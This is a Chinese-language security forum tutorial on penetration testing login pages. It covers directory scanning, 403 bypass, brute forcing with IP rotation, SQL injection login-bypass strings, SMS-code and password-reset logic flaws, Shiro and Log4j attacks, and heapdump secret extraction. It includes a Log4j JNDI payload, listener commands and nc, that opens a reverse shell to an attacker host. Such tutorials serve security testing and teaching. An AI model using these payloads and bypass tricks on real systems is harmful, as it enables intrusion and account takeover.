问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
登录口的对抗
渗透测试
主要从常规操作,逻辑缺陷,网站框架,网站接口这几个方面进行了详细的介绍
1. 常规操作 ======= 目录扫描 ---- 扫描工具 dirsearch gobuster wfuzz TidePlues等。 针对目录的暴破,有时要尽可能的使用不同目录扫描工具,由于每个扫描工具的算法不同,自定义的字典不同,通过不同的扫描工具以可以提高发现未授权页面的几率,当扫描出网页状态码为403的路径时,代表页面存在但无访问的权限,由于中间件或网站鉴权的配置可能存在不完善的地方,这种配置导致了可能存在bypass的方式。 dirsearch\_bypass403工具 枚举出来的403状态目录可尝试进行绕过,通过../ ..;/ /\*/ %09 %20等形式进行目录拼接以尝试绕过403有可能获取管理员权限,不影响dirsearch原本功能使用。 扫描到这种未授权访问的功能页面或接口,可以尝试进行SQL注入或进行参数构造以获取敏感内容。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-08fbe5861fd89f228a88e35e74344d85cce621a9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-58019008488bb7fd8f7740c071dff9ded37c079e.png) 当页面中存在数据交互的地方就要尝试SQL注入。 弱口令暴破 ----- 通过账户名的不同,页面返回不同的提示信息,以此做用户名探测,得到用户名之后,在做弱口令暴破。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-ee17af39c1af8349d7b8bb3e38910633f3f50e4f.png) 使用Yakit 的随机延迟功能以降低被封IP的可能性,或使用代理池,一次请求更换一个新的IP地址以伪造多人登录的场景。 万能密码 ---- 主要通过猜测SQL的闭合方式及SQL语句的判断方式,通过构造新的SQL语句绕过原有的判断逻辑,以实现登录。 知道用户名的情况下: admin' or 1=1 # 不知道用户名的情况下: 1' or 1=1 # 后台可能执行实际语句: ```php select \* from users where username='1' or 1=1 #' and password=$password ``` 当 # 号被过滤的情况下: admin' or '1'='1' or '1'='1 后台可能执行的实际语句: ```php select \* from users where ='admin' or '1'='1' or '1'='1' and passwd='213 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-c9c8bb47a5f7621c808de21b0680a8c38c661892.png) and 优先级高于 or 2. 逻辑缺陷 ======= 验证码 --- 验证码存在的问题基本上都是后端对验证的验证码的校验机制过于简单,没有与其他参数进行绑定。 图形验证码当存在可绕过的情况时: 1\. 修改值 为 空 null 或 true。 2\. 验证码复用或失效。 3\. 图形验证码的随机值可控。 由于程序员为减少后端的开销,将验证码由前端生成,生成验证码的随机值被写在请求url中或请求体的其他参数中,通过base64加密以实现隐藏.如 `url?characters=1111`这样的形式,需要攻击者观察请求验证码时的数据包仔细查看数据包中的参数,通过BurpSuite定义宏或yakit定义序列以实现整个账户登录的流程,进行密码账户的暴破。 短信验证码 ----- 方式一:mobile=12345678912 数字前面加空格、+86、+086、+0086、+0 00 /r,/n ? # ! 等方式。 方式二:添加多个值。 moblile=number ,number mobile=number&mobile=number 方式三:提交其他用户的手机验证码。 当攻击者的手机号验证码为1111,使用其他用户收到的验证码为2222,攻击者使用2222也能正常登录。 方式四:验证码只有4位可以尝试进行暴破。 方式五:固定值111111 000000。 在程序测试功能是否正常时,写入了固定值,程序正式上线时未删除。 方式六:找回密码功能页面。 填写完账户名,给A发短信,使用BurpSuite拦截,将A修改为攻击者自己的手机号,结果变成了攻击者发送短信验证码。 密码重置 ---- 一般密码的重置流程分为三步,输入用户名,输入手机验证码,修改密码,当后端回显的数据包过于简单,没有进行其他参数的捆绑,如下图。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-c9f907ec7027fbb063e2bc7c95c50bbb4e0ec9a4.png) 即可通过伪造这样的回显数据包,进行密码重置流程的跳跃,直接跳到修改密码环节。 或修改密码时,根据的是mobile参数而没有对mobile参数与cookie值进行绑定,即可直接对moblie参数内容进行替换,以此直接修改其他账户的密码。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7932f0a490a0f32a5b8332a2112513a793d10b9d.png) 使用手册 ---- ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-dea8478d38dc4a470d1bcb8a5ee52d0906ab0619.png) 通过操作手册,以获取初始密码,或密码和账户的命名方式,生成更有针对性的暴破字典进行暴破。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-121101ebb122ab30298de78d76aa71c0f21cd521.png) Web网站与APP --------- 在Web页面注册新用户,尝试登录进后台时,发现其存在白名单的单位名称的限制,无法进行注册。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b845759e2c52928faff90cc7a87b8312f554f85b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-2da07c8be0720528db412c9670a8462eb19834ea.png) 在登录页面中发现了手机客户端的选项,或者在没有发现这个选项时,在渗透测试进一步的操作中没有好的方向时,可以尝试扩大攻击面,搜索此公司是否存在APP。 对于一般公司而言,APP端基本上就是将Web端的网站进行下修改,增加或删除一些功能点,有时为了减少资源的浪费,会通用一个数据库内容,而在此次的案例中,就使用了同一个数据库,同时为了在APP端注册用户方便,简化了注册流程,直接通过手机号进行注册。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b915e22f6c104b714c74dde7a786e5b5d47200b5.png) Web网站源码 ------- 网站源码是非常重要的存在,有时会从这里发现一些意想不到的收获,比如在以下源码中就发现了引用的GitHub上面的开源框架。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-e21885ff4675a659622816a674473774dba01e6e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-259d1dd593143249a34acc08073d27b1af53a7b7.png) 当发现了GitHub上面的开源框架时,可以找寻其存在的初始账户和密码,或对其进行代码审计寻找未授权接口和页面,或者发现此项目已存在很久没有更新,可以自己对项目进行拉取搭建,当开源框架很久没有更新时,其使用的一些模块版本较低时,如Shiro、FastJson、Log4j等等极可能存有RCE漏洞。 有些公司会搭建一些演示网站,用于对客户进行展示,尝试通过该软件的名称和图片或在源码中发现的一些信息在FOFA、鹰图中找到了搭建在公网上的演示系统,通过弱口令登录到后台的管理页面找到上传路径,或寻找查询的接口,在真实系统中尝试上传和查询,当其系统的权限管理未配置妥当时,极有可能存在漏洞。 3. 网站框架 ======= Webpack ------- Webpack 是一个现代 JavaScript 应用程序的静态模块打包工具。它主要用于将多个前端资源(如 JavaScript、样式表、图片等)打包成一个或多个静态资源文件,以便在浏览器中加载。Webpack 通过模块化的方式管理项目中的各种资源,可以有效地处理依赖关系、优化代码,并且支持使用各种插件和加载器来扩展其功能。 当通过F12发现存在app.xxxxxx.js和很多cunk.xxxxx.js,这就表明该网站使用了Webpack技术进行打包前端项目。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-43b26bbcaebf4eeffd09822bd1aa47dd23b7226c.png) 一般情况下,网站不会出现 Webpack:// 和 sourceMappingURL=app.f3cadf2a.js.map 这样的话可以直接看到前端端原始代码,网站的前端代码分析会容易非常多,也容易寻找到接口进行拼接尝试未授权访问,前端代码或 .js 文件过多时可以使用 Packer Fuzzer 工具。 Packer Fuzzer工具支持自动模糊提取对应目标站点的API以及API对应的参数内容,并支持对:未授权访问、敏感信息泄露、CORS、SQL注入、水平越权、弱口令、任意文件上传七大漏洞进行模糊高效的快速检测。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8f7e7bb9c2a2fff13693af989f807bfb1699bdb2.png) Shiro ----- 特征: 1\. 登录框有一个“记住我”或“记住密码”的特征。 2\. 前端代码出现 rememberme 。 响应包: Cookie:rememberMe=1 Set-Cookir:rememberMe=deleteMe Java 的安全框架提供身份验证、授权、密码和会话管理。 Shiro 处理 cookie 的流程是 base64 解码、对称加密算法 AES 解密、反序列化,所以当攻击者知道 Shiro 密钥时,可以自己构造序列化对象数据,然后经过加密发往Shiro 的 Web 程序,从而进行反序列化攻击。 1\. Shiro-550 CVE-2016-4437 Apache Shiro<=1.2.4 密钥是硬编码,就是密钥是固定的。 2\. Shiro-721 CVE-2019-13422 Apache Shiro<1.4.2 key随机产生加密反射AES-28-CBC CBC 加密方式存在 Padding Oracle Attack 漏洞。 CBC 的初始IV固定全为0或泄露,就会导致key很好破解。 1.4.1版本后采用的是 AES-128-GCM加密方式以获取随机的密钥,但有攻击者做了Shiro 密钥的收集,也可以尝试碰撞。 探测: 通过Heimdallr 插件。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-19f762d2f29ce8514001ef3e2e503b479a68ddad.png) 攻击工具: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-001a6268308a54d4ae51a4ad894b2268c774ac7e.png) Log4j2 ------ 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 网站使用了Log4j 或FastJson 时通过Yakit插件Log4Shell漏洞检测 FastJson漏洞检测 或BurpSuite中TsojanScan 进行被动扫描。 案例介绍: 在登录页面尝试,密码登录时,通过插件发现了在参数name= ,eventide=处存在Log4j漏洞。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-432f7b15551663b337926120968a678129600e64.png) 进行手工验证得到Java的版本为1.8.0 。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-056773bbaf1188b36c43b5dd1fcfdaf0ed061260.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-bc94332d9192251b4b251ff91b5c1e4d5e7cf6be.png) 利用方式:通过Log4j获取shell \# 监听命令, -i 本机的ip Java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4 开启nc监听 ====== nc -lvvp 10010 设置payload并访问 ============ \# poc原文 ${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010} \# 拼接poc在发现Log4j的参数点进行访问 [http://your-ip/solr/admin/cores?username=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}](http://your-ip/solr/admin/cores?username=$%7Bjndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010%7D) Log4j2提供了一种lookups的机制,就是在进行日志记录时会将pattern中的$ { } 包裹的变量进行解析, 当 lookups的取值来源为JNDI 时, 就是日志信息中插入${jndi:xxx} 以键值对形式存在的变量时,Log4j2 就会进行jndi 查询,最终在jndi Lookup 处触发 远程代码执行。 其它类的框架通过访问不存在的xxx页面(ThinkPHP独有的报错页面,或.do/.action 结尾的大概率为Struts2框架,或ico图标的特殊),获取网站的报错信息,暴露出网站所采用的框架,之后进行针对性的poc攻击。 4. 网站接口 ======= 源代码接口拼接 ------- 在源码找下JS里面是否会有未授权的接口,构造数据进行访问。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-fa4aa676a5d71ae6aa482abee78b4583bc2aadd0.png) 直接拼接或与其他路径进行组合拼接访问。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-56777b244d651ac280baeac9b76bf439e4c8f67e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8c749e338b42e849a4cc9c5f310a31bd9e112a9d.png) 通过不断的报错信息以进行请求方式和参数的构造以获取此接口的信息。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-d6d0618b61033f10af93e105e0c4031cb26fc107.png) Swagger ------- 通过目录暴破以得到Swagger-ui界面。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5440eccfe5b386c5feecb3ec399121b3d7b973d6.png) 工具使用语法: python .\\swagger-hack2.0.py -u <https://xxxx/swagger/v1/swagger.json> 该工具主要是对Swagger的接口进行快速的探测接口的存活,同时也有可能直接直接探测出一个信息泄露的接口,直接泄露网站后台大量的个人信息和账号密码。 Sprinboot env ------------- 通过目录暴破得到env目录,即spring actuator未授权漏洞,而在其中利用价值最大的是可下载的heapdump文件。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6fa7b6b9550697cb03dd0e794f5c07b2e124f5a1.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a116cd60febd374eb17c4ffecedcdd7b3e00e4bd.png) heapdump 文件通常指的是 Java 虚拟机(JVM)生成的堆转储文件,用于分析 Java 应用程序的内存使用情况。这些文件通常以 .hprof 扩展名结尾,并包含了应用程序在某个时间点的堆内存状态信息。 通过 java -jar JDumpSpider.jar heapdump 即可对heapdump进行敏感信息提取,其中优先级靠前的为数据库的账户密码及地址和部署的端口,Shiro的密钥等信息。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-38d535502964dedb9a75822ae349505f1dd82a2a.png) 渗透测试在黑盒的情况下本就是在不断的尝试不同的攻击方式,已发现程序可能存在的漏洞。在针对登录页面的渗透测试过程中,由于页面的限定,所采用的渗透测试方式并不多,所以要更加的注重于细节,对登录页面的每一个请求及回显数据包,进行查看,注意其参数注释及报错信息,对于逻辑型的漏洞要进行思维的发散,要考虑程序设计者所没考虑到的情况发生。
发表于 2024-04-17 09:30:00
阅读 ( 3620 )
分类:
渗透测试
5 推荐
收藏
0 条评论
请先
登录
后评论
online101
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!